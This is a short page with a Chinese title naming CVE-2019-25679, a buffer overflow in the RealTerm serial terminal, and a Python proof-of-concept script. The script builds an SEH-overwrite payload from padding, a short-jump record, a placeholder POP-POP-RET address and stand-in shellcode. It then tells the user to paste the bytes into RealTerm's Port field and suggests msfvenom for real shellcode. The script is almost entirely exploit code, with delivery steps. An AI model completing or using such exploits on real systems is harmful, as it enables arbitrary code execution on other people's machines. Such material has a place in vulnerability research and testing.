CVE-2019-25679 RealTerm SEH缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2019-25679 - RealTerm Serial Terminal SEH Buffer Overflow # This script generates a malicious payload to trigger the vulnerability. import sys def generate_payload(): # Buffer padding to reach SEH structure (Hypothetical offset) # Exact offset requires debugging, this demonstrates the structure padding = b"A" * 1000 # Next SEH: Jump short 6 bytes to skip SEH handler and land in shellcode next_seh = b"\xeb\x06\x90\x90" # SEH: Address of POP POP RET instruction # This address must be a valid address from a loaded module (e.g., OS DLL or App DLL) # Placeholder used here as exact address depends on system version seh_handler = b"\xAA\xBB\xCC\xDD" # Shellcode: Example (e.g., calc.exe or bind shell) # Real shellcode would be generated by msfvenom shellcode = b"\xCC" * 500 payload = padding + next_seh + seh_handler + shellcode return payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25679...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Copy the raw bytes below and paste into the 'Port' field in RealTerm Echo Port tab, then click 'Change'.") print(payload.decode('latin-1'))